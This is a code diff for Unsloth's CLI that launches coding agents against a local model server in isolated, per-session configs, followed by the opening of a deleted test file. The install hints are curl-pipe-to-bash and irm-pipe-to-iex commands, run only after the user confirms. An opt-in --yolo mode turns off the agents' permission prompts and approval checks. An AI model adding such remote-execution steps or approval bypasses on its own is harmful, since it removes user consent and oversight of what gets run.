+        config.write_text(merged, encoding = "utf-8")
+        typer.echo(f"Updated {config}")
+
+    # oss_provider here too: codex --oss picks the provider from it, and the
+    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
+    profile_text = (
+        f'oss_provider = "{_CODEX_PROFILE}"\n'
+        f'model_provider = "{_CODEX_PROFILE}"\n'
+        f"model = {json.dumps(model['id'])}\n"
+    )
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        profile_text += f"model_context_window = {int(window)}\n"
+    profile = home / f"{_CODEX_PROFILE}.config.toml"
+    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
+        profile.write_text(profile_text, encoding = "utf-8")
+        typer.echo(f"Updated {profile}")
+
+
+def _wsl_windows_executable(command: list) -> Optional[str]:
+    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
+        return None
+    executable = shutil.which(command[0])
+    if executable and executable.startswith("/mnt/"):
+        return executable
+    return None
+
+
+def _looks_like_path(value: str) -> bool:
+    # A var only wants the WSLENV /p flag if its value is a filesystem path: an
+    # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows
+    # path (C:...). Scalar knobs (e.g. a numeric context window) must pass through
+    # untranslated, so they get no flag.
+    return bool(value) and (value.startswith(("/", "\\")) or (len(value) >= 2 and value[1] == ":"))
+
+
+def _wsl_bridge_names(env: dict, unset_env: tuple) -> tuple:
+    # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued
+    # vars get /p so WSLENV translates them to the Windows path the /mnt shim can
+    # actually open; a cleared var carries no value to translate.
+    names = [name + ("/p" if _looks_like_path(value) else "") for name, value in env.items()]
+    names.extend(unset_env)
+    return tuple(dict.fromkeys(names))
+
+
+def _merge_wslenv(current: str, names: tuple) -> str:
+    # Index WSLENV entries by bare var name, preserving first-seen order. The vars we
+    # bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME"
+    # is upgraded to "HOME/p" (rather than left as-is), since WSLENV ignores a duplicate
+    # name and a bare entry would leave the path untranslated for a Windows shim.
+    ordered = []
+    by_name = {}
+    for entry in (*current.split(":"), *names):
+        if not entry:
+            continue
+        base = entry.split("/", 1)[0]
+        if base not in by_name:
+            ordered.append(base)
+        by_name[base] = entry
+    return ":".join(by_name[base] for base in ordered)
+
+
+def _powershell_quote(arg: str) -> str:
+    # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so
+    # JSON args such as `--settings {"env":...}` survive intact. list2cmdline's
+    # backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them.
+    if arg and re.fullmatch(r"[A-Za-z0-9_./:=+-]+", arg):
+        return arg
+    return "'" + arg.replace("'", "''") + "'"
+
+
+def _print_env(
+    env: dict,
+    command: list,
+    unset_env: tuple = (),
+    wsl_env_bridge: tuple = (),
+) -> None:
+    if os.name == "nt":
+        for name in unset_env:
+            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
+        for name, value in env.items():
+            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
+            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
+            typer.echo(f'$env:{name} = "{escaped}"')
+        typer.echo(" ".join(_powershell_quote(arg) for arg in command))
+        return
+    for name in unset_env:
+        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
+    for name, value in env.items():
+        typer.echo(f"export {name}={shlex.quote(value)}")
+    if wsl_env_bridge:
+        typer.echo(
+            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a
+    # bare command. People copy just the last line, and a bare `codex`/`claude` would then
+    # run against their real ~/.codex or Anthropic credentials with zero isolation -- e.g.
+    # inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline
+    # assignments scope every var (and empty-string the conflicting ones) to this single
+    # invocation, so a partial copy behaves the same as pasting the whole block.
+    inline = [f"{name}=" for name in unset_env]
+    inline += [f"{name}={shlex.quote(value)}" for name, value in env.items()]
+    if wsl_env_bridge:
+        inline.append(
+            f"WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    typer.echo(" ".join((*inline, shlex.join(command))))
+
+
+def _install_agent(name: str, install_hint: str) -> Optional[str]:
+    # Missing agent under --launch: offer to run its documented install command, then
+    # re-resolve it on PATH. Consent-based (we never auto-run a remote install script
+    # silently), and a non-interactive stdin cannot answer the prompt, so both the
+    # no-TTY and declined cases return None and let the caller print the hint and exit.
+    if not sys.stdin.isatty():
+        return None
+    typer.echo(f"`{name}` is not installed.")
+    if not typer.confirm(f"Install it now with `{install_hint}`?", default = False):
+        return None
+    # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm)
+    # on Windows, /bin/sh (curl | bash, or npm) everywhere else.
+    if os.name == "nt":
+        install_command = ["powershell", "-NoProfile", "-Command", install_hint]
+    else:
+        install_command = ["/bin/sh", "-c", install_hint]
+    if subprocess.run(install_command).returncode != 0:
+        _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}")
+    executable = shutil.which(name)
+    if executable is None:
+        _fail(
+            f"`{name}` installed but isn't on PATH yet. Open a new shell (or add it to "
+            f"PATH), then re-run. Install command: {install_hint}"
+        )
+    return executable
+
+
+def _launch(
+    command: list,
+    env: dict,
+    install_hint: str,
+    unset_env: tuple = (),
+) -> NoReturn:
+    executable = shutil.which(command[0]) or _install_agent(command[0], install_hint)
+    if executable is None:
+        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    child_env = dict(os.environ)
+    if wsl_env_bridge:
+        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
+        for name in unset_env:
+            child_env[name] = ""
+    else:
+        for name in unset_env:
+            child_env.pop(name, None)
+    child_env.update(env)
+    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
+    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
+    try:
+        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
+    finally:
+        signal.signal(signal.SIGINT, previous)
+    # Negative returncode means killed by signal N; shells expect 128+N.
+    raise typer.Exit(code = code if code >= 0 else 128 - code)
+
+
+def _connect(
+    api_key: Optional[str],
+    model: Optional[str],
+    load: LoadOptions = LoadOptions(),
+    *,
+    serve: bool = False,
+    launch: bool = True,
+) -> tuple:
+    # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`.
+    # Split it before we match/serve so the attach path resolves against the already-loaded
+    # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id --
+    # which Studio rejects and which would evict a model another session is using.
+    if model:
+        repo, variant = _split_repo_variant(model)
+        if variant:
+            model = repo
+            if not load.gguf_variant:
+                load = load._replace(gguf_variant = variant)
+    base, server = _require_studio(model, load, serve = serve, launch = launch)
+    try:
+        key = _agent_api_key(base, api_key, auto_started = server is not None)
+        # A server we just started has exactly the requested model loaded, so resolve to
+        # whatever it is serving instead of re-matching the raw --model string.
+        entry = _resolve_model(base, key, None if server is not None else model, load)
+    except BaseException:
+        _shutdown_auto_served()
+        raise
+    return base, key, entry
+
+
+def _run(
+    base: str,
+    entry: dict,
+    env: dict,
+    command: list,
+    *,
+    launch: bool,
+    install_hint: str,
+    unset_env: tuple = (),
+    clear_screen: bool = False,
+) -> None:
+    # Some agents (Pi) render inline from wherever the cursor sits: their first
+    # paint assumes a clean screen rather than clearing or entering the
+    # alternate screen themselves. Hand them one so the session doesn't start
+    # mid-scroll under our connection output. click.clear() is cross-platform
+    # and a no-op when stdout is not a terminal (piped/CI), so transcripts and
+    # --no-launch recipes stay intact.
+    if launch and clear_screen:
+        click.clear()
+    typer.echo(f"Studio {base} · model {entry['id']}")
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    if not launch:
+        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
+        return
+    try:
+        _launch(command, env, install_hint = install_hint, unset_env = unset_env)
+    finally:
+        # Tear down a server we auto-started once the agent session ends (no-op otherwise).
+        _shutdown_auto_served()
+
+
+def _agents_config_root() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agents"
+
+
+@contextlib.contextmanager
+def _session_config(agent: str, launch: bool):
+    """Yield a private directory for an agent's session config (never the user's own).
+
+    launch: an ephemeral temp dir removed after the agent process exits, so nothing
+    persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run later
+    on this machine), reused across runs. Either way the user's real ~/.<agent>
+    config is left untouched.
+    """
+    if launch:
+        path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-"))
+        try:
+            yield path
+        finally:
+            shutil.rmtree(path, ignore_errors = True)
+    else:
+        # Never wipe this dir: a previously printed recipe may still be running
+        # an agent whose sessions/state live here, and every config writer
+        # merges idempotently into an existing home anyway.
+        path = _agents_config_root() / agent
+        path.mkdir(parents = True, exist_ok = True, mode = 0o700)
+        yield path
+
+
+def write_openclaw_config(
+    base: str,
+    key: str,
+    model: dict,
+    path: Path,
+    yolo: bool = False,
+) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
+    provider_model = {"id": model["id"], "name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        provider_model["contextWindow"] = int(window)
+    models = _subdict(config, "models")
+    models.setdefault("mode", "merge")
+    _subdict(models, "providers")["unsloth"] = {
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "api": "openai-completions",
+        "models": [provider_model],
+    }
+    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
+    defaults = _subdict(_subdict(config, "agents"), "defaults")
+    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
+    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
+    # the websocket. The daemon must still be started separately (`openclaw gateway`).
+    gateway = _subdict(config, "gateway")
+    gateway.setdefault("mode", "local")
+    _subdict(gateway, "auth").setdefault("mode", "none")
+    if yolo:
+        # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the
+        # tools.exec config AND a host-local approvals file (the stricter wins), so
+        # setting only the config still lets the agent prompt/deny. Set both, mirroring
+        # `openclaw exec-policy preset yolo`.
+        exec_policy = _subdict(_subdict(config, "tools"), "exec")
+        exec_policy["host"] = "gateway"
+        exec_policy["security"] = "full"
+        exec_policy["ask"] = "off"
+        # Approvals file in OPENCLAW_STATE_DIR (== this config's dir). ask=off means
+        # nothing is ever prompted, so the runtime socket block is unnecessary here.
+        approvals = path.parent / "exec-approvals.json"
+        _write_private_json(
+            approvals,
+            {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}},
+        )
+        typer.echo(f"Updated {approvals}")
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+def write_opencode_config(
+    base: str,
+    key: str,
+    model: dict,
+    path: Path,
+    yolo: bool = False,
+) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    config.setdefault("$schema", "https://opencode.ai/config.json")
+    model_entry = {"name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # A custom-provider model with no limit defaults to context 0, which silently
+        # disables OpenCode's auto-compaction; declare the real window (and a sane
+        # output cap) so it compacts instead of overflowing the server.
+        model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)}
+    _subdict(config, "provider")["unsloth"] = {
+        "npm": "@ai-sdk/openai-compatible",
+        "name": "Unsloth Studio",
+        "options": {"baseURL": f"{base}/v1", "apiKey": key},
+        "models": {model["id"]: model_entry},
+    }
+    # OpenCode selects a model by "<providerID>/<modelID>".
+    config["model"] = f"unsloth/{model['id']}"
+    if window:
+        # Compact with ~10% headroom (near 90% full). The fixed 20k-token default
+        # buffer over-compacts, or never settles, on a small local context.
+        compaction = _subdict(config, "compaction")
+        compaction["auto"] = True
+        compaction["reserved"] = max(1, window // 10)
+    if yolo:
+        # OpenCode has no --yolo flag; auto-approve is the config `permission` block
+        # (singular). Allow the prompting tools so tool calls don't block on the TUI.
+        config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+def write_hermes_config(base: str, model: dict, path: Path) -> None:
+    import yaml
+
+    config: dict = {}
+    if path.exists():
+        try:
+            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
+        except (yaml.YAMLError, OSError):
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+        if isinstance(loaded, dict):
+            config = loaded
+        elif loaded is not None:
+            # Non-empty, non-mapping YAML is a user-managed file; leave it.
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+    # Hermes only reads the key for a *named* custom provider (a bare
+    # `provider: custom` ignores it), so register it under providers.*.
+    _subdict(config, "model").update(
+        provider = f"custom:{_HERMES_PROVIDER}",
+        default = model["id"],
+        api_mode = "openai",
+    )
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no
+        # context field, so it can fall back to a 256k default that overflows a small
+        # local model. Pin the real window (top-level model.context_length is the
+        # highest-priority override) and compact at 90% of it (Hermes defaults to 50%).
+        if window >= _HERMES_MIN_CONTEXT:
+            _subdict(config, "model")["context_length"] = window
+            _subdict(config, "compression").update(enabled = True, threshold = 0.9)
+        else:
+            # Below Hermes' 64,000-token floor it refuses to initialize, so claim
+            # the floor and shrink the threshold so compaction still fires at 90%
+            # of the REAL window (the threshold is a fraction of the claimed
+            # context_length). The auxiliary override keeps the same floor check
+            # from rejecting the compression model mid-session.
+            _subdict(config, "model")["context_length"] = _HERMES_MIN_CONTEXT
+            threshold = round(0.9 * window / _HERMES_MIN_CONTEXT, 4)
+            _subdict(config, "compression").update(enabled = True, threshold = threshold)
+            auxiliary = _subdict(_subdict(config, "auxiliary"), "compression")
+            auxiliary["context_length"] = _HERMES_MIN_CONTEXT
+    _subdict(config, "providers")[_HERMES_PROVIDER] = {
+        "base_url": f"{base}/v1",
+        "api_mode": "openai",
+        "key_env": _HERMES_ENV_KEY,
+    }
+    text = yaml.safe_dump(config, sort_keys = False)
+    if not path.exists() or path.read_text(encoding = "utf-8") != text:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_text(text, encoding = "utf-8")
+        typer.echo(f"Updated {path}")
+
+
+def write_pi_config(base: str, key: str, model: dict, path: Path) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the
+    # session). Studio is a generic OpenAI-compatible /v1 endpoint, and the key lives
+    # in the config rather than the env (matching openclaw/opencode).
+    provider_model = {"id": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # An unspecified model defaults to contextWindow 128000 / maxTokens 16384,
+        # far larger than a small Studio context, so Pi compacts too late and overflows
+        # the server. Pin the real window and a sane output cap (mirrors OpenCode).
+        provider_model["contextWindow"] = window
+        provider_model["maxTokens"] = min(window // 4, 8192)
+    _subdict(config, "providers")[_PI_PROVIDER] = {
+        "api": "openai-completions",
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "models": [provider_model],
+    }
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+@start_app.command("claude", context_settings = _PASSTHROUGH)
+def claude(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point Claude Code at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    model_id = entry["id"]
+
+    env = {
+        "ANTHROPIC_BASE_URL": base,
+        "ANTHROPIC_AUTH_TOKEN": key,
+        "ANTHROPIC_MODEL": model_id,
+        # Session-only (no ~/.claude write): suppress the attribution header so
+        # llama.cpp KV-cache reuse is preserved; --settings below reinforces it.
+        "CLAUDE_CODE_ATTRIBUTION_HEADER": "0",
+        # Update checks, beta features, and other background requests either
+        # stall against a local server or evict the conversation from
+        # llama-server's KV-cache slots, so turn off everything nonessential.
+        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
+        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
+        # A local server streams in bursts; disable the full-screen TUI redraw so the
+        # terminal doesn't flicker between tokens.
+        "CLAUDE_CODE_NO_FLICKER": "1",
+    }
+    # Claude Code auto-compacts against its native (~600k token) window; a local
+    # model's context is usually far smaller, so size the window to the loaded
+    # model's real context length. Otherwise the conversation overflows the
+    # server's window (silent truncation) long before Claude decides to compact.
+    # codex/openclaw get the same value through their config (model_context_window
+    # / contextWindow); Claude has no config file, so it rides on the env var.
+    window = entry.get("context_length") or entry.get("max_context_length")
+    if window:
+        env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window))
+        # Compact at 90% of that window; the override only takes effect once the
+        # window is set, and it can only lower the threshold, so it just guarantees
+        # headroom before the server's context limit instead of relying on Claude's
+        # default (which is tuned for its native 200K/1M window).
+        env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90"
+    # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.
+    # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a
+    # sandbox is detected, and we don't want to falsely claim one on the user's host.
+    command = [
+        "claude",
+        "--model",
+        model_id,
+        *_claude_flags(),
+        *_yolo_command_flags("claude", yolo),
+        *ctx.args,
+    ]
+    install_hint = (
+        "irm https://claude.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://claude.ai/install.sh | bash"
+    )
+    _run(
+        base,
+        entry,
+        env,
+        command,
+        launch = launch,
+        install_hint = install_hint,
+        unset_env = _CLAUDE_ENV_UNSET,
+    )
+
+
+@start_app.command("codex", context_settings = _PASSTHROUGH)
+def codex(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point OpenAI Codex at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    # This preflight runs after _connect may have auto-started a server but before _run
+    # installs its teardown finally, so tear the server down here if it rejects the model
+    # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop.
+    try:
+        _require_gguf_for_codex(base, key, entry["id"])
+    except BaseException:
+        _shutdown_auto_served()
+        raise
+    command = [
+        "codex",
+        "--oss",
+        "--profile",
+        _CODEX_PROFILE,
+        *_yolo_command_flags("codex", yolo),
+        *ctx.args,
+    ]
+    with _session_config("codex", launch) as home:
+        write_codex_config(base, entry, home)
+        env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)}
+        _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
+
+
+@start_app.command("openclaw", context_settings = _PASSTHROUGH)
+def openclaw(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point OpenClaw at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    command = ["openclaw", *ctx.args]
+    install_hint = (
+        "iwr -useb https://openclaw.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://openclaw.ai/install.sh | bash"
+    )
+    with _session_config("openclaw", launch) as cfg:
+        config_path = cfg / "openclaw.json"
+        # key lives in the config, not the env; --yolo writes the exec policy here too.
+        write_openclaw_config(base, key, entry, config_path, yolo = yolo)
+        # Scope both config and state so OpenClaw never touches the user's ~/.openclaw.
+        env = {"OPENCLAW_CONFIG_PATH": str(config_path), "OPENCLAW_STATE_DIR": str(cfg)}
+        _run(base, entry, env, command, launch = launch, install_hint = install_hint)
+
+
+@start_app.command("opencode", context_settings = _PASSTHROUGH)
+def opencode(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point OpenCode at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    command = ["opencode", *ctx.args]
+    with _session_config("opencode", launch) as cfg:
+        config_path = cfg / "opencode.json"
+        # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
+        # configs), so this adds the Unsloth provider/model for the session without
+        # changing the user's default model. Key lives in the config, not the env.
+        write_opencode_config(base, key, entry, config_path, yolo = yolo)
+        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model
+        # pin (and --yolo permissions) would silently lose to a repo config. Carry the
+        # settings that must win in OPENCODE_CONFIG_CONTENT, which outranks project
+        # config; the API key stays in the private file, never in the printed env.
+        inline_config: dict = {"model": f"unsloth/{entry['id']}"}
+        if yolo:
+            inline_config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+        env = {
+            "OPENCODE_CONFIG": str(config_path),
+            "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config),
+        }
+        _run(base, entry, env, command, launch = launch, install_hint = "npm install -g opencode-ai")
+
+
+@start_app.command("hermes", context_settings = _PASSTHROUGH)
+def hermes(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point Hermes (Nous Research) at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args]
+    install_hint = (
+        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+        "/main/scripts/install.sh | bash"
+    )
+    with _session_config("hermes", launch) as home:
+        # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)
+        # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.
+        write_hermes_config(base, entry, home / "config.yaml")
+        env = {_HERMES_ENV_KEY: key, "HERMES_HOME": str(home)}
+        _run(base, entry, env, command, launch = launch, install_hint = install_hint)
+
+
+@start_app.command("pi", context_settings = _PASSTHROUGH)
+def pi(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+):
+    """Point Pi (coding agent) at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    # Pi defaults to the google provider, so pin our provider/model on the command
+    # line; the custom OpenAI-compatible endpoint itself is only configurable via
+    # ~/.pi/agent/models.json.
+    command = [
+        "pi",
+        "--provider",
+        _PI_PROVIDER,
+        "--model",
+        entry["id"],
+        *_yolo_command_flags("pi", yolo),
+        *ctx.args,
+    ]
+    # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs
+    # no install scripts), so accepting the prompt skips dependency lifecycle scripts.
+    install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent"
+    with _session_config("pi", launch) as home:
+        # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers
+        # it over $HOME/.pi/agent), so pin it at the session dir: an inherited
+        # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real
+        # config and skip our provider/key. HOME is relocated too so any other ~/.pi paths
+        # stay in the session. The key rides in the config rather than the env.
+        pi_agent_dir = home / ".pi" / "agent"
+        write_pi_config(base, key, entry, pi_agent_dir / "models.json")
+        env = {"HOME": str(home), "PI_CODING_AGENT_DIR": str(pi_agent_dir)}
+        if os.name == "nt" or os.environ.get("WSL_DISTRO_NAME"):
+            # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows,
+            # not HOME. Set them whenever Pi may run as a Windows process: native Windows,
+            # or a /mnt Windows shim launched from WSL (the WSLENV bridge then translates
+            # the path). Otherwise the Windows process falls back to the user's real
+            # %USERPROFILE%\.pi. splitdrive yields no drive off a POSIX path, so
+            # HOMEDRIVE/HOMEPATH stay unset there.
+            env["USERPROFILE"] = str(home)
+            drive, tail = os.path.splitdrive(str(home))
+            if drive:
+                env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail
+        # Pi paints inline from the current cursor position (no alternate screen,
+        # no clear on first render), so give it the clean screen it assumes.
+        _run(
+            base,
+            entry,
+            env,
+            command,
+            launch = launch,
+            install_hint = install_hint,
+            clear_screen = True,
+        )
diff --git a/unsloth_cli/tests/test_connect.py b/unsloth_cli/tests/test_connect.py
deleted file mode 100644
index e76a892647..0000000000
--- a/unsloth_cli/tests/test_connect.py
+++ /dev/null
@@ -1,954 +0,0 @@
-# SPDX-License-Identifier: AGPL-3.0-only
-# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"""Tests for `unsloth connect` — config merging and launch env, no network."""
-
-from __future__ import annotations
-
-import json
-import os
-import sys
-import urllib.error
-from pathlib import Path
-from types import SimpleNamespace
-
-_REPO_ROOT = Path(__file__).resolve().parents[2]
-if str(_REPO_ROOT) not in sys.path:
-    sys.path.insert(0, str(_REPO_ROOT))
-
-
-import pytest
-from typer.testing import CliRunner
-
-import unsloth_cli.commands.connect as connect
-
-BASE = "http://127.0.0.1:8888"
-MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
-
-
-# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and
-# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form.
-def _assert_env_set(output: str, name: str, value: str) -> None:
-    needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}"
-    assert needle in output, f"{needle!r} not found in:\n{output}"
-
-
-def _assert_env_unset(output: str, name: str) -> None:
-    needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}"
-    assert needle in output, f"{needle!r} not found in:\n{output}"
-
-
-@pytest.fixture()
-def claude_settings(tmp_path, monkeypatch):
-    path = tmp_path / "claude" / "settings.json"
-    monkeypatch.setattr(connect, "claude_settings_path", lambda: path)
-    return path
-
-
